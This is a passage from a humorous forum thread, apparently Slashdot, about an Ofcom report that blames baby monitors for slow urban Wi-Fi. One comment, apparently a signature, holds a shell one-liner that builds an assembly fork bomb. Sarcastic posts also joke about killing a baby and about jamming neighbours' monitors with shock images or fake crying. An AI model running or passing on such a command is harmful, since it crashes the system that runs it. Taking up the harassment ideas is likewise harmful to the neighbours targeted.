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Baby Monitors Killing Urban Wi-Fi
Barence writes "Baby monitors and wireless TV transmitters are responsible for slowing down Wi-Fi connections in built-up areas, according to a report commissioned by British telecoms regulator Ofcom. The research smashes the myth that overlapping Wi-Fi networks in heavily congested towns and cities are to blame for faltering connection speeds. Instead it claims that unlicensed devices operating in the 2.4GHz band are dragging down signals. 'It only requires a single device, such as an analogue video sender, to severely affect Wi-Fi services within a short range, such that a single large building or cluster of houses can experience difficulties with using a single Wi-Fi channel,' the report claims."
Frank: A lot of people are bugging their babies these days. I guess babies can't be trusted.
Posts not to be taken literally. Almost everything is sarcasm.
They're just trying to slow down the net for their parents so they'll have time to play with them!
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Do away with the babies, then we don't need baby monitors anymore. Voila! Better wi-fi. I'm willing to sacrifice all your babies for better wi-fi.
And it was interrupting my raiding schedule. So I hired a hitman to take out my neighbors baby, execution style. Problem fixed itself soon after.
... yet.
I had him plant some weed on the infant to make it look like a drug deal gone bad but I was still questioned at the trial. Thank god Warcraft can't be considered a motive
My work here is dung.
Won't someone thing of something besides the children!?
Welcome to the Panopticon. Used to be a prison, now it's your home.
that children do not belong on the internet!
Many leave their baby monitors open and unencrypted.
I've found many open baby monitors being leeched by a dozen on more losers. The stolen bandwidth really lagged out the pictures and caused little Johnny to stew in his own poo longer than necessary.
And just try to get one of these leeches to do even a single changing. The second little Johhny finishes an upload the leeches scatter without the courtesy of seeding.
Packets in the country are friendlier and more courteous than those goldang city packets.
So which baby is it that's monitoring the killing of urban WiFi? If he/she weren't monitoring it, would it still be happening?
This guy's the limit!
This is how rumors get started, Beavis!
"Speaking the Truth in times of universal deceit is a revolutionary act." -- George Orwell
I think they should just get rid of usernames and make everyone an AC. Anonymity is better for discussion because it keeps the focus on the topic, not the posters' egos.
I took this article to mean that not enough people in the city line their living space with tin foil .
"US Navy SEALs, armed with baby monitors, successfully attacked and destroyed the North Korean Iranian Al Qaida scary nuclear weapons plant, by disrupting their communications command and control systems . . . by using the baby monitors."
"A Pentagon spokesman declined to comment that a Defense Department Special Warfare Squad was being trained exclusively with RC toy equipment obtained from 'Toys R Us.'"
"Although an anonymous comment from a person familiar with the situation, stated 'That truck that can flip over is real cool.'"
Schroedinger's Brexit: The UK is both in and out of the EU at the same time!
I would have got first post if it wasn't for those goddamn BREEDERS and their filthy RUGRATS JAMMING my wifi.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
You're very clever, young man, but it's noises all the way down.
If I found a baby monitor feed broadcast where I live, I think my first reaction would be to override it with a stronger goatse/tubgirl feed.
Forget that, just override the audio with prerecorded sounds of a baby crying. Send that 4 times a night at random times and I'm sure it won't be very long before you don't have to worry about any interference.
If there weren't a big yard between us, it would probably knock out my neighbor's WiFi too.
Use a satellite dish to aim. Or maybe a round metal strainer would work...